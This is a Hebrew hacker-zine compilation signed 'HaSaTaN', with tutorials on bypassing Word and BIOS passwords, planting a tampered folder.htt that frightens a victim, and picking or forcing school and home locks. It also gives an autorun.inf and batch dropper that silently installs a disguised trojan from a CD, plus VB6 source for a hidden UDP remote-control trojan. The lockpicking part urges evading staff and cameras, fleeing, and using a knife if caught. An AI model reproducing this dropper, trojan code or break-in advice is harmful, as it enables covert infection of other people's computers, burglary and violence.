‫תלמדו עכשיו איך לעקוף את הסיסמא של ‪ ,word‬באופן ידני‪.‬‬
‫פשוט הפעילו את המחשב במצב בטוח (‪.)safe mode‬‬
‫תפתחו את מסמך הוורד‪ ,‬וברוב גרסאות ה‪ word -‬המסמך יפתח ללא סיסמא‪.‬‬
‫‪HaSaTaN‬‬

‫‪264‬‬
‫הודעת ארור ‪2‬‬
‫היי טוב אז הינה משהו שאם הקורבן שלכם לא מבין הרבה במחשבים (הגדרות‪ ,)..‬יבהל לעללה‪,‬‬
‫זה משהוא שכשהוא פותח את התקייה ‪ Program files‬או ‪ Windows‬הוא יראה הודעה שפרצו‬
‫לו והוא לא יוכל להכנס לתקיה‪.‬‬
‫זה בעצם עובד על העובדה שההצגה של הקבצים מתבצעת דרך ‪ HTML‬ולכן לא צריך לקמפל‬
‫את זה אלה האקפלורר‬
‫מקמפל את זה לבד בכל מקרה מה שעשיתי זה שיניתי את הקוד של הקובץ שאחראי להצגת‬
‫הקבצים (‪,)folder.htt‬‬
‫כך שבמקום שכאשר ילחצו על הלינק שאמור להיות "הצג קבצים" (שגם אותו שיניתי ל"‬
‫‪)"www.hasaatn.up.co.il‬‬
‫הוא יוביל לדף שאומר שאי אפשר למצא את הדף‪...‬‬

‫מה שצריך לעשות זה להתחבר אלי ולהשתיל לו את הקובץ לתוך התקייה שרוצים‪ ,‬וזהו‪ ,‬בפעם‬
‫הבאה שהוא יכנס‬
‫לתיקיה הוא יקבל את ההודעה!!!‬

‫ואפשר גם להביא אותו לשם על ידי פתיחת תוכנה ‪ /‬אתר‪ ,‬ושם לכתוב את הנתיב (‪.)c:\windows‬‬
‫ואז הוא יראה את זה אוטומטית אפילו בלי להיכנס אתם יכולים לשנות את הקובץ איך שאתם‬
‫רוצים ולעשות דברים יותר מסוכנים או לא‪ ,‬ולשלוח לו‪.‬‬
‫טוב‪ ...‬זה עד לפעם הבאה!‬
‫‪HaSaTaN‬‬

‫‪265‬‬
‫פריצת מנעולים‬
‫טוב אז ככה את המדריך הזה אני כותב לבד אני המצאתי אותו ואף אחד אחר לא יכול לקחת את‬
‫הקרדיט עליו‪ ,‬יש לכם שאלה?‬
‫תשאלו אותי כי אני בטוח בטוח אדע בקשר לזה **!ב ט ו ח!**‬

‫טוב אז ככה המדריך הראשון שאני כותב‪ ,‬זה בנושא אנרכיה (הנושא האהוב עליי)‪.‬‬
‫אם אתם רוצים אני גם מבין בפריקינג ובפצצות מעולה לכל שאלה ובקשה דברו איתי באיי סי‬
‫קיו שלי‬
‫ובבקשה תשתדלו לא לקרוא לו איציק כי זה נשמע מפגר !!!‬

‫אז ככה‪:‬‬
‫המדריך יהיה בנושא פריצת מנעולים‬
‫‪:ok lets see‬‬

‫אז ככה יש שלושה סוגי מנעולים שממש קל לפרוץ‪:‬‬

‫‪ .1‬מנעול קטן של צה"ל שמקבלים בבסיס‪.‬‬


‫‪ .2‬מנעול ‪ 312‬שקונים בסופר (יותר קשה לפריצה) זהו מנעול שבבתי הספר מגנים בעזרתו על‬
‫הכל‪.‬‬
‫‪ .3‬מנעול דלת רקוב ביותר כדוגמת פלדלת עכביש וכ"ו‪.‬‬

‫או קיי אנחנו ממשיכים!!!‬


‫מצרכים‪:‬‬

‫‪ .1‬סיכה‪-‬כמו אטב ברזל למי שמכיר שתופסים בעזרתו ניירות ושאפשר לפתוח אותו לעמוד אחד‬
‫ארוך‪.‬‬
‫‪ .2‬לפעמים מברג קטן גם יכול להיות מומלץ אבל ממש לא הכרחי‪.‬‬
‫‪ .3‬סכין‪.‬‬
‫‪ .4‬מוח (הכי חשוב ולא נראה לי שיש את זה לכולם)‪.‬‬

‫אז סבבה מתחילים לפעול‪ ,‬נתחיל עם המנעול הקטן ביותר והמסכן ביותר‪:‬‬
‫מנעול צבאי פשוט‪:‬‬

‫אז ככה תכניסו לתוכו את המברג וחזק נורא תנסו לשבור כל מה שבפנים אחר כך תכניסו את‬
‫הסיכה והוא ייפתח‬
‫כי הוא חרא של מנעול!!!‬

‫מנעול שני לאנשים שמתים להרוס את ביה"ס‪:‬‬

‫‪ .1‬אל תספרו לכולם שאתם פורצי מנעולים‪.‬‬


‫‪ .2‬אל תספרו לעולם את דרך הפעולה‪.‬‬

‫‪266‬‬
‫‪ .3‬תפתחו עינייים לראות אם מגיע איזה מנהל\מורה\מנקה\שרת וכו‪....‬‬
‫‪ .4‬תזהרו ממצלמות אבטחה (אצלי בביה"ס יש מלא)‪.‬‬
‫‪ .5‬תשתמשו במוח (שוב!!!) ותשננו את מה שרשמתי כרגע!!!‬

‫מצרכים‪:‬‬
‫^^^^^^^‬
‫‪ .1‬סיכה כמו מקודם‪.‬‬
‫‪ .2‬כושר שכנוע ודיבור יציב‪.‬‬
‫‪ .3‬מיועד למי שחסר את ארבע בלבד‪:‬סכין‪,‬ידיים‪,‬רגליים‪,‬מסכה וכו‪....‬‬

‫אז חוזרים לדרך!!!‬


‫תדמיינו לעצמכם מצב נורמלי כזה‪ ,‬אתם הולכים בבית הספר (זה סיפור אמיתי שקרה לי בפעם‬
‫הראשונה)‪.‬‬
‫פתאום רואים ברז כבאים נעול בעזרת מנעול ‪ 312‬אתם הולכים לכיתה ומוצאים שם סיכה כמו‬
‫שאמרתי מקודם!!!‬
‫אתם הולכים למנעול ופורצים אותו ולפתע מגיע המנהל שהדבר שהוא הכי אוהב בעולם זה‬
‫להעיף תלמידים מביה"ס ושואל אתכם מה אתם עושים‪ ,‬במקרה שלי עניתי לו שנפלה לי‬
‫הסיכה שקיבלתי במתנה‪,‬‬
‫(אחרי שמשכתי אותה בשיא המהירות כשקלטתי מורה בא לכיוון שלי שבסוף התברר‬
‫כמנהל!!!)‪.‬‬

‫טוב לא משנה בקיצור‪:‬‬


‫דרך הפעולה‪:‬‬

‫אז ככה ברגע שתראו מנעול קודם כל תסתכלו טוב אם יש שם מצלמות תמיד תבואו ותסתכלו!!!‬
‫אחר כך קחו את הסיכת מתכת ותפתחו אותה עד שהיא תראה כמו מוט ישר ואז תעקמו אותה‬
‫לשתי חתיכות שוות כמו "‪ ."V‬אבל שתהיה הפוכה‪ ,‬אחר כך תכניסו לממעול ותתחילו לסובב זה‬
‫בטוח ייפתח תמנעול!!!‬
‫מנסיון!!!‬

‫דרך אגב האטב צריך להיות גדול ולא קטן כדי שיככנס לחורי המנעול‪ ,‬או קיי מה בדיוק עשינו‬
‫פה?‬
‫הכנסנו משהו דק וחד לתוך האיזור שבוא מכניסים תמפתח המשהו הדק וחד הזה נכנס לשיניים‬
‫של המנעול ופתח אותם!!!‬
‫התאוריה נראית דבילית אבל היא נכונה!!!‬
‫עכשיו במשך כל הפעולה אתם פותחים עין לראות אם אף אחד לא מגיע איזה מורה מסריח או‬
‫משהו דומה!!!‬
‫אם כן מגיע אז תצאו מזה עם איזה שהוא תירוץ ואם אתם אנשים שמשחק ועבודה בעיניים‬
‫ושכנוע‬
‫זה לא הקטע החזק שלהם אז תברחו במהירות ואם תופסים אותכם אז יש אנשים שאני יודע‬
‫שיעשו משהו עם‬
‫הידיים או הסכין שהמלצתי עליו מקודם!!!‬

‫מנעול אחרון‪:‬‬

‫מנעול של דלתות פלדלת עכביש וכיוצא בזה!!!‬

‫המדריך על המנעול האחרון לא ע"י אף אחד אחר אני הראשון אמנם שכותב אותו אבל הפעם‬
‫הראשונה שדברו‬
‫עליו הייתה בתכנית "עובדה"‪-‬עם אילנה דיין!! (אז כל הקרדיט שמור לה חוץ מזה שאני‬
‫הראשון שכותב את זה!!!)‪.‬‬

‫מצרכים‪:‬‬
‫‪ .1‬מנעול עכביש\פלדלת כדי שתוכלו לפרוץ‪.‬‬

‫‪267‬‬
‫‪ .2‬מפתח של בית!!!‬
‫(לא של האינטרקום של תיבת הדואר או של המחסן אלא של הבית בלבד)‪.‬‬
‫‪ .3‬פלאייר‪.‬‬
‫‪ .4‬כמו תמיד מוח עיניים וכושר שכנוע‪.‬‬
‫אז סבבה אתם מוצאים מנעול דוחפים אליו חזק את המפתח ולוקחים את הפלאייר ומסובבים‬
‫אותו נורא חזק‪.‬‬

‫‪ .1‬רוב הסיכויים שהמפתח ישבר ככה שאל תנסו את זה על הבית שלכם‬


‫(זה יכול להיות טוב אם אתם רוצים לדפוק משהו ככה שלא ייכנס הביתה)‪.‬‬
‫‪ .2‬הדלת תיפתח!!! (קורא לפעמים זה קרה לחבר שלי שהיה תקוע מחוץ לבית)‪.‬‬
‫‪ .3‬יתפוס אותכם שכן!!!‬

‫במקרה ‪ 3‬רק שתדעו שאתם תקבלו מאסר כי זה פריצה לבית ופריצה זה חתיכת עונש‪ ,‬אז כדאי‬
‫שתצליחו לצאת מזה‬
‫פה נורא חשוב העיניים ופחות חשוב לדעת לדבר כי לא משנה מה תגידו עדיין תחטפו(מכות או‬
‫עונש מה שתבחרו)‪.‬‬

‫הצעה שלי‪:‬ברגע שתופסים אתכם תברחו כמו לא יודע מה כי ממש אבל ממש לא כדאי שיתפסו‬
‫אותכם!!!‬
‫או קיי אז עברנו על הכל דרך אגב על פריצה למנעול הראשון לא יקרה לכם כלום אלא אם הוא‬
‫קשור‬
‫לאיזה שהוא תיק ואז זה פריצה ‪ +‬חדירה לפרטיות!!!‬

‫על פריצה למנעול השני לא יקרה לכם כלום אלא אם הוא תפוס על משהו כמו הדוגמא שקרתה‬
‫לי שהוא‬
‫היה על ברז כיבוי בבית הספר העונש שתקבלו הוא‪ :‬פריצה או מעשה וונדליזם או שניהם ביחד‬
‫תלוי כמה נאחס יש לכם בחיים!!!‬
‫‪HaSaTaN‬‬

‫‪268‬‬
‫‪Autorun‬‬
‫היי מה המצב?‬
‫ישבתי וחשבתי על רעיון חמוד איך להדביק מישהו בוירוס ‪ /‬טרויני בלי שהוא יחשוד בכם‪.‬‬
‫כי אם אתה שולח למישהו קובץ והוא פותח אותו ו‪ 2-‬דקות אחר כך מישהו פרץ לו למחשב אתם‬
‫תהיו מייד ברשימת החיסול שלו‪...‬‬
‫אז פה בא הרעיון שלי אבל הוא יעבוד רק על חברים שאתם יכולים להגיע אליהם אל המחשב או‬
‫שאתם יכולים להיות איתו במגע פיזי (גישה לוקאלית)‪ ,‬בקיצר אם עדין לא קלטתם אתם‬
‫צריכים להעביר לו סידירום (‪ )CD-ROM‬או בשפה העברית תקליטור‪.‬‬

‫איך זה עובד‪:‬‬
‫אז ככה יוצרים קובץ חדש בשם ‪ autorun.inf‬ובתוכו כותבים‪:‬‬

‫קונטרול שיפט‬

‫[‪]autorun‬‬
‫‪>icon=<icon's path‬‬
‫‪open=Autorun.bat‬‬

‫קונטרול שיפט‬
‫הסבר‪:‬‬
‫[‪ -]autorun‬הגדרת הקובץ‬
‫‪< = >icon=<icon's path‬המיקום והשם של הקובץ>‬
‫‪ - open=Autorun.bat‬פותח אוטומתית את הקובץ שאנחנו עומדים לעשות‪.‬‬

‫יוצרים קובץ חדש בשם ‪ Autorun.bat‬ובתוכו כותבים‪:‬‬

‫קונטרול שיפט‬

‫@‪echo off‬‬
‫‪>copy <trojan's (patch.exe)> <c:\game-name.exe‬‬
‫‪cls‬‬
‫<‪>c:\game-name.exe‬‬

‫<< קונטרול שיפט (‪>> )ctrl + shift‬‬

‫הסבר‪:‬‬
‫@‪ - echo off‬אומר שלא יציג את הפקודות‬

‫‪269‬‬
‫‪ >copy <trojan's name.something> <drive:\path\trojan's name.exe‬מעתיק את‬
‫הטרויני למחשב‬
‫‪ - cls‬מוחק את כל מה שיש בחלון‬
‫<‪ - >drive:\path\trojan's name.exe‬מפעיל את הטרויני מהמחשב‪.‬‬

‫עכשיו תשאלו את עצמכם למה להעתיק את הטרויני למחשב ???‬


‫טוב אז ככה כי אם לא נעתיק את הטרויני למחשב אז זה יפעיל את הטרויני אוטומטי אבל‬
‫מהסידי זאת אומרת שברגע שתוציא את הסידי הטרויני יפסיק לפעול אלא עם הטרויני שיכפל‬
‫את עצמו למקומות אחרים לבד (על ידי‬
‫קוד פנימי)‪ .‬עכשיו‪ ,‬אם אתם רוצים אפשר להעתיק אותו לתיקיה סטארטאפ והוא יפעל‬
‫אוטומטית כל פעם שמפעילים את המחשב אם רוצים להעתיק לכמה מקומות כותבים את‬
‫השורה ‪:‬‬
‫‪>copy <trojan's name.something> <drive:\path\trojan's name.exe‬‬
‫עוד פעם מתחת הקודמת ומשנים את הנתיב (‪.)path‬‬
‫אה ועוד משהו בהתחלה קוראים לטרויני בשם בדוי יענו אל תיקראו לו ‪virus!-dont-open.exe‬‬
‫אפשר לקרא לו משהו כמו ‪ Data.vxd‬או משהו שיראה כמו איזה קובץ חשוב אה וגם עדיף לא‬
‫לקרא לו בשם ארוך יותר מ ‪ 8‬אותיות כי אז יכולים להיות בעיות אם הטילדות(~) והמספרים‪.‬‬
‫‪ KissMyAs~1.exe‬ה‪ s -‬נפלה בגלל שזה יותר ארוך מ‪ 8 -‬אותיות‪...‬‬
‫למה כתבנו ‪ CLS‬אם יש לנו כבר את ‪??? @echo off‬‬
‫כתבנו את ‪ cls‬כי התשובה שחוזרת מ ‪ COPY‬כן נכתבת אז אנחנו מוחקים אותה ונראה לי שזה‬
‫גם לפעמים עושה‬
‫שהחלון יסגר כשנגמרת התוכנית (אני אומר "ניראה לי" כי לפעמים זה עובד ולפעמים לא‪.)...‬‬
‫זהו נראה לי‪....‬‬
‫אה! לא שכחתי את הקטע הכי חשוב‪:‬‬
‫צורבים ‪ CD-ROM‬אם ‪ 3‬הקבצים (‪ )data.vxd autorun.inf Autorun.bat‬ותמלא אותו בכל‬
‫מיני תיקיות עם זבל‬
‫(שיתפוס מקום ושימלא את הדיסק)‬
‫מה שאמור לקרות זה שברגע שהוא יכניס את הסידי לכונן אז אם הוא לחסם את האפשרות‬
‫להפעלה אוטומטית‬
‫(ב ‪ 98‬זה ברג'יסטרי ב ‪ XP‬זה בלוח בקרה) אז הקובץ ‪ autoran.inf‬יפעיל את הקובץ‬
‫‪ autorun.bat‬והוא יעתיק את הטרויני למחשב ויפעיל אותו‪.‬‬
‫טוב אז זהו לבנתיים!‬
‫‪HaSaTaN‬‬

‫‪270‬‬
‫‪Visoal basic torgan‬‬

‫הבהרה‪:‬‬
‫במדריך הזה נקרא לחלק ששולחים לקורבן ‪" -‬טרויני"‪,‬‬
‫ולחלק שנשאר אצלכם ‪" -‬שלט"‬
‫למרות שזה לא השם הנכון כל כך‪...‬‬
‫המקור זה סרבר (קורבן) וטרויני (שלט)‬
‫אבל מטעמי נוחות (שלי) אני יכתוב ככה!‬
‫קודם תתקינו את ‪( VB6‬אני עובד איתו)‪ ,‬אחר כך‪:‬‬

‫‪ )1‬תפתחו טופס חדש סטנדרטי לכו לאיפה שיש לכם את כל הפקדים (לחצן תיבת טקסט‪.)...‬‬
‫לחצן ימני ‪ >- components >-‬לשונית‪.controls :‬‬

‫תסמנו ב"‪ "V‬את ‪Microsoft Winsock Control 6.0‬‬


‫אם אין לכם דבר כזה אז‪ ...‬תחפשו שוב‪...‬‬
‫ואם עדיין אין אז תלכו ל‪ browse -‬ושם תיבחרו את הקובץ ‪ mswinsck.ocx‬שנימצא ב "‬
‫‪"c:\windows\system‬‬
‫נוסף לכם עוד פקד בצורת ‪ 2‬מחשבים מחוברים תלחצו עליו פעמים רצוף והוא יתבסף לכם‬
‫לטופס‬
‫תשנו לו את השם ל‪.win -‬‬

‫עכשיו כל מה שעשינו ב‪ 1 -‬תעשו עוד פעם (תפתחו עוד פעם את ‪ VB‬שיהיה לכם ‪ 2‬חלונות של‬
‫‪)...VB‬‬
‫עכשיו תעשו לשניהם שמור (‪ )save‬ולאחד תקראו ‪ server‬ולשני ‪.trojan‬‬
‫מה שעשינו עד עכשיו זה פתחנו ‪ 2‬פרויקטים אחד לטרויני ואחד לשלט‪.‬‬

‫תוסיפו לטופס של השלט תיבת טקסט ותשנו לו את השם ל‪ ip -‬ואת הטקסט ל‪.127.0.0.1 :‬‬
‫תוסיפו לחצן לטופס ותשנו את הכיתוב (‪ )caption‬ל"התחבר"‪.‬‬

‫‪ )2‬תלחצו פעמים על שטח ריק של הטופס יפתח לכם החלון של הקוד של השלט תמחקו את כל‬
‫מה שרשום שם ותרשמו‪:‬‬

‫קונטרול שיפט‬

‫‪271‬‬
‫‪)(Private Sub Command1_Click‬‬
‫‪- On Error GoTo er‬הוראה שבמיקרה של טעות לך ל‬ ‫‪'er‬‬
‫'מכוון את הווינסוק להתחבר לאייפי שהכנסתם‬ ‫‪Win.RemoteHost = ip.Text‬‬
‫'שולח פקודת ‪connect‬‬ ‫‪"Win.SendData "Connect‬‬
‫‪Exit Sub‬‬
‫‪:er‬‬
‫‪" MsgBox‬כנראה שלא כתבת כתובת"‪" ,vbCritical ,‬בעית חיבור"‬
‫‪End Sub‬‬

‫‪)(Private Sub Form_Load‬‬


‫‪with win‬‬
‫‪' Protocol = sckUDPProtocol.‬מכוון את הווינסוק לפרוטוקול ‪UDP‬‬
‫'מכוון את הווינסוק להתחבר לפורט ‪777‬‬ ‫‪RemotePort = 777.‬‬
‫‪Bind.‬‬
‫‪end with‬‬
‫'מכוון את התיבה של האייפי לאייפי המקומי‬ ‫‪ip.Text = Win.LocalIP‬‬
‫‪End Sub‬‬

‫‪' )Private Sub Win_DataArrival(ByVal bytesTotal As Long‬במקרה שהתקבל מידע‬


‫'מגדיר משתנה מסוג מחרוזת שיכיל את המידע שיתקבל‬ ‫‪Dim data As String‬‬
‫'מכניסים את הקלט למשתנה‬ ‫‪Win.GetData data‬‬
‫'בודקים מה התקבל‬ ‫‪Select Case data‬‬
‫'אם התקבל ‪connect‬‬ ‫‪"Case "connected‬‬
‫'הפוך את הכותרת של הפורם ל ‪connected‬‬ ‫‪Form1.Caption = data‬‬
‫‪End Select‬‬
‫‪End Sub‬‬

‫קונטרול שיפט‬

‫ועכשיו תמחקו הכל בחלון הקוד של הטרויני ותכתבו את הדברים הבאים‬

‫קונטרול שיפט‬

‫‪)(Private Sub Form_Load‬‬


‫‪With Win‬‬
‫‪' Protocol = sckUDPProtocol.‬מכוון לפרוטוקול ‪UDP‬‬
‫‪' LocalPort = 777.‬מכוון להקשיב לפורט ‪777‬‬
‫‪Bind.‬‬
‫‪End With‬‬
‫‪' Form1.Visible = False‬הופך את הטרויני לבילתי נראה ‪ -+‬אחר כך נסביר איך להעלים‬
‫לגמרי (כמעט)י‬
‫‪End Sub‬‬

‫‪' )Private Sub Win_DataArrival(ByVal bytesTotal As Long‬במקרה שהתקבל מידע‬


‫'מגדיר משתנה מסוג מחרוזת‬ ‫‪Dim data As String‬‬
‫'מכניסים את הקלט למשתנה‬ ‫‪Win.GetData data‬‬
‫'כל פקודה שעוברת תקפוץ כהודעה(זמני)לצורך בקרה‬ ‫‪)MsgBox (data‬‬

‫‪272‬‬
‫‪' Win.RemoteHost = Win.RemoteHostIP‬מכוון את כתובת שליחת הנתונים לכתובת‬
‫שמחוברת אליו כעט‬
‫'בודקים מה התקבל‬ ‫‪Select Case data‬‬
‫'אם התקבל ‪connect‬‬ ‫‪"Case "Connect‬‬
‫'שלח בחזרה ‪connected‬‬ ‫‪"Win.SendData "connected‬‬
‫‪End Select‬‬
‫‪End Sub‬‬

‫קונטרול שיפט‬

‫מה שעשיתנו עד עכשיו זה תוכנית קטנה שמשתמשת בווינסוק כדי להתחבר ל ‪ IP‬בפורט ‪.777‬‬
‫שולחת פקודת ‪ connect‬לטרויני והטרויני בודק איזה פקודה התקבלה ומבצע את המשימה‬
‫המוגדרת למקרה כזה (שולח חזרה פקודה בהתאם ‪ .)connected -‬השלט מקבל ובודק פקודה‬
‫התקבלה ומבצע את המשימה המוגדרת למקרה כזה‪ .‬זה הבסיס ומזה אנחנו נפתח טרויני נורמלי‬
‫‪( -+‬פלוס מינוס למי שלא הבין‪.)...‬‬

‫אם עד עכשיו הכל עבד טוב תמשיך לקרוא‪ ,‬אבל אם לא אז תחזור ותקרא ותנסה ותקרא ותנסה‬
‫ותקרא ותנסה עד שתצליח‪ .‬חשוב מאוד להצליח הכל עד עכשיו כי מעכשיו פחות או יותר רק‬
‫משכללים את הבסיס הזה‪.‬‬

‫‪ ,OK‬מפה אפשר להמשיך בכל מני דרכים אנחנו נמשיך בצורה של ‪( HaTrojan‬מצורף לגליון)‪.‬‬
‫תוסיפו לחצן שעליו יהיה כתוב "השתמש"‪.‬‬
‫תוסיפו ליסט בוקס לטופס של השלט וב‪ form1_load -‬תוסיפו בסוף ליפני ‪.end sub‬‬

‫קונטרול שיפט‬

‫'מוסיף לרשימה פריט (שורה)‬ ‫‪"List1.AddItem "send msgbox‬‬


‫'מוסיף לרשימה פריט (שורה)‬ ‫‪"List1.AddItem "get input‬‬
‫‪' "List1.AddItem "descover trojan‬מוסיף לרשימה פריט (שורה)‬

‫קונטרול שיפט‬

‫לחץ פעמים על הלחצן החדש ותכתוב‬

‫קונטרול שיפט‬

‫'מגדיר משתנה שיכיל את הפרמטרים כמחרוזת‬ ‫‪Dim pr As String‬‬


‫'בודק איזה פעולה נבחרה‬ ‫‪Select Case List1.Text‬‬
‫'במקרה ש‪...‬‬ ‫‪"Case "send msgbox‬‬
‫‪' )"?pr = InputBox("what do u want 2 send‬קלוט את הפרמטר‬
‫'שולח את הפקודה מסג ‪ +‬רווח ‪ +‬פרמטר‬ ‫‪Win.SendData "msg " & pr‬‬
‫'במקרה ש‪...‬‬ ‫‪"Case "get input‬‬
‫'שולח את הפקודה ‪get‬‬ ‫‪"Win.SendData "get‬‬
‫'במקרה ש‪...‬‬ ‫‪"Case "descover trojan‬‬
‫'שולח את הפקודה ‪show‬‬ ‫‪"Win.SendData "show‬‬
‫‪End Select‬‬

‫‪273‬‬
‫קונטרול שיפט‬

‫תמחקו את מה שכתוב ב ‪ win_DataArrival‬עד לפני ‪end sub‬‬


‫ותכתבו את הדברים הבאים‬

‫קונטרול שיפט‬

‫'מגדיר משתנה מסוג מחרוזת שיכיל את המידע שיתקבל‬ ‫‪Dim data As String‬‬
‫'מכניסים את הקלט למשתנה‬ ‫‪Win.GetData data‬‬
‫'בודקים מה התקבל‬ ‫‪Select Case data‬‬
‫'אם התקבל ‪connect‬‬ ‫‪"Case "connected‬‬
‫'הפוך את הכותרת של הפורם ל ‪connected‬‬ ‫‪Form1.Caption = data‬‬
‫‪End Select‬‬
‫'סלקט חדש בישביל פקודות עם פרמטרים‬ ‫‪)Select Case Left(data, 3‬‬
‫'במקרה ש ‪...‬‬ ‫‪"Case "get‬‬
‫‪')pr = Right(data, Len(data) - 4‬המשתנה מקבל את הערך שבא אחרי הפקודה‬
‫'מוציא לפלט את המשתנה‬ ‫‪)MsgBox (pr‬‬
‫'אם לא התאים לשום דבר עד עכשיו או שזה היה פקודת קונקט‬ ‫‪Case Else‬‬
‫'מוציא לפלט את המידע שהגיע‬ ‫‪)MsgBox (data‬‬
‫‪End Select‬‬

‫קונטרול שיפט‬

‫עברו לטרויני ותמחקו את מה שכתוב ב ‪ win_DataArrival‬עד לפני ‪ ,end sub‬ותכתבו את‬


‫הדברים הבאים‪:‬‬

‫קונטרול שיפט‬

‫'מגדיר משתנה מסוג מחרוזת‬ ‫‪Dim data As String‬‬


‫‪Dim pr As String‬‬
‫'מכניסים את הקלט למשתנה‬ ‫‪Win.GetData data‬‬
‫‪' Win.RemoteHost = Win.RemoteHostIP‬מכוון את כתובת שליחת הנתונים לכתובת‬
‫שמחוברת אליו כעט‬
‫'בודקים מה התקבל‬ ‫‪Select Case data‬‬
‫'אם התקבל ‪connect‬‬ ‫‪"Case "Connect‬‬
‫'שלח בחזרה ‪connected‬‬ ‫‪"Win.SendData "connected‬‬
‫'במקרה ש‪...‬‬ ‫‪"Case "show‬‬
‫'הצג את הטופס המוסתר‬ ‫‪Form1.Show‬‬
‫‪' "Win.SendData "show OK‬מחזיר לשלט אישור שבוצע בהצלחה‬
‫‪End Select‬‬
‫‪' )Select Case Left(data, 3‬בודקים אם ‪ 3‬האותיות מתאימות לאחד הפקודות‬
‫'במקרה ש‪...‬‬ ‫‪"Case "msg‬‬
‫‪' )pr = Right(data, Len(data) - 4‬המשץנה מקבל את הפרמטרים שאחרי הפקודה‬
‫'פולט את המשתנה‬ ‫‪)MsgBox (pr‬‬

‫‪274‬‬
‫'מחזיר לשלט אישור שבוצע בהצלחה‬ ‫‪"Win.SendData "msg is OK‬‬
‫'במקרה ש‪...‬‬ ‫‪"Case "get‬‬
‫'המשתנה מקבל את הקלט של המשתמש‬ ‫‪)"pr = InputBox("get‬‬
‫'שולח את הפקודה ‪ +‬רווח ‪ +‬משתנה‬ ‫‪Win.SendData "get " & pr‬‬
‫'מחזיר לשלט אישור שבוצע בהצלחה‬ ‫‪"Win.SendData "get OK‬‬
‫‪End Select‬‬

‫קונטרול שיפט‬

‫זהו להיום תקחו את הדוגמה הבסיסית ותשכללו אותה ותעשו איזה טרויני גדול (תשלחו לי‬
‫העתק ‪,)LOL -‬‬
‫אם אתם רוצים אתם יכולים לקבל רעיונות מה‪ HaTrojan -‬לפעולות ומבנה‪...‬‬

‫נ‪.‬ב‪.‬‬

‫להשתמש בטרויני (של מישהו אחר) = ליימר‪.‬‬


‫לבנות אותו = בסדר! (וואלה ‪ -‬חרוז!)‪.‬‬

‫‪HaSaTaN‬‬

‫‪275‬‬
‫‪bios‬‬
‫אהלן‪ ,‬מה קורה ???‬
‫אתם בטח די‪-‬מעוצבנים שכל היום מדברים איתכם בצ'טים ובפורומים על ‪ BIOS‬ועוד מלא‬
‫דברים כאלה‪ ,‬ואתם פשוט ‪ -‬אין לכם מושג על מה הם מדברים‪ ,‬אז הגיע הזמן שתתחילו לקלוט‬
‫מה זה‪ ,‬איך משתמשים בזה וכו'‬
‫אז הנה האינדקס‪:‬‬

‫* למה מיועד ה‪BIOS -‬‬


‫* איך משתמשים ב‪BIOS -‬‬
‫*איפה בכלל ‪ -‬נמצא ה‪BIOS -‬‬
‫* עקיפת הסיסמא של ה‪BIOS -‬‬
‫* טיפים ב‪BIOS -‬‬

‫^^^ למה מיועד ה‪^^^ BIOS -‬‬

‫ה‪ BIOS -‬משום מה ‪ -‬מזכיר קצת את הרג'יסטרי‪ ,‬נכון הם לא אותו דבר ‪ -‬אך יש דימיון כלשהו‬
‫ביניהם‪.‬‬
‫‪ ,Ok‬אז ככה ‪ -‬ה‪ BIOS -‬נועד למתכנתים‪ ,‬בשביל לקבוע את ההגדרות החשובות ביותר במחשב‪,‬‬
‫שבלעדיהם המחשב ישבוק חיים לעד‪ ,‬לדוגמא‪:‬‬
‫הגדרת הדיסק קשיח‪ ,‬הגדרות התצוגה ‪ -‬חלוקה ל‪( PARTITIONES -‬מי שלא מבין אז לא‬
‫משנה‪ ,‬זה לא ממש חשוב)‬
‫בשבע מילים‪ :‬בלי זה ‪ -‬למחשב שלכם אין סיכוי לשרוד‪.‬‬

‫^^^ איך משתמשים ב‪^^^ BIOS -‬‬

‫אתם בטח מכירים את זה ‪ -‬אבל כשאתם מדליקים את המחשב ‪-‬למעלה תוכלו לראות את גירסת‬
‫ה‪ BIOS -‬ברוב המחשבים‪ ,4.51 :‬בשביל להעלות את ה‪ - BIOS -‬שזה בעצם תוכנה קטנה כפי‬
‫שכבר הספקתם להבין‪ ,‬לחצו ‪ DEL‬שנמצא ליד האפס הגדול של המספרים בצד ימין של‬
‫המקלדת‪ ,‬לאחר כמה שניות של לחיצה אתם אמורים לראות מן מסך אם כל מיני אפשרויות‬
‫לדוגמא‪:‬‬
‫‪cimos‬‬
‫‪futers setup‬‬
‫ועוד ועוד‪...‬‬

‫שמה‪ ,‬ניתן להגדיר את כל ההגדרות שכתבתי לעיל‪ .‬שינוי של האפשרויות ב‪ BIOS -‬כרוך סימון‬
‫האופציה הרצויה ולחיצת ‪ PAGE DOWN‬או ‪.PAGE UP‬‬

‫‪276‬‬
‫^^^ איפה בכלל נמצא ה‪ "BIOS" -‬הזה? ^^^‬

‫אוקי‪ ,‬פתחו את המחשב עצמו‪ ,‬אתם תראו שם מין בטרייה (סוללה) כזאת‪ ,‬כמו של שעון רק‬
‫גדולה פי ‪ ,3‬לידה תוכלו לראות ג'וק (כל זה ‪ -‬על הלוח ‪ M‬כמובן) על הג'וק הזה צרוב ה‪.BIOS -‬‬

‫^^^ עקיפת הסיסמא של ה‪^^^ BIOS -‬‬

‫קרה ונכנסתם ל‪ BIOS -‬והוא ביקש סיסמא ולא היה לכם מושג מהי?‬
‫קראו את הדבר הבא‪ ,‬ותדעו מה לעשות‪:‬‬
‫פתחו עוד פעם את המחשב‪ ,‬הסוללה שאתם רואים בעצם היא זו שמאפשרת ל‪ BIOS -‬לעבוד‪,‬‬
‫ה‪ BIOS -‬לא עובד על החשמל של התקע‪.‬‬
‫אז כל מה שאתם צריכים לעשות הוא פשוט מאוד ‪ -‬תוציאו את הסוללה וה‪ BIOS -‬ימחק כולו‬
‫ואתם לאחר ‪ 30‬שניות תחזירו את הסוללה‪ ,‬תפעילו את המחשב מחדש וכל ההגדרות יהיו לפי‬
‫ברירת‪-‬המחדל של הגרסא של ה‪ ,BIOS -‬וגם ‪ -‬כמובן‪ ,‬תימחק הסיסמא! (חם‪ ......‬ומגניב‪)......‬‬

‫^^^ טיפים ב‪^^^ BIOS -‬‬

‫* נגיד ונדפק לכם המחשב ואין לכם לא ‪ windows‬ולא ‪ DOS‬פשוט לכו ל‪ BIOS -‬גשו ל‬
‫‪ feuters setup‬שמה עמדו על התיבה "‪ "squence boot‬לחצו ‪ page down‬עד שתגיעו ל‪c,cd- :‬‬
‫‪.rom,a‬‬
‫השאירו את זה ככה‪ ,‬צאו מה‪ feuters setup -‬ולחצו ‪ - exit and save‬בינתיים הכניסו את‬
‫התקליטור של הווינדואוס והמחשב יזהה אותו ויפעיל אוטומתית את ההתקנה של ‪.windows‬‬

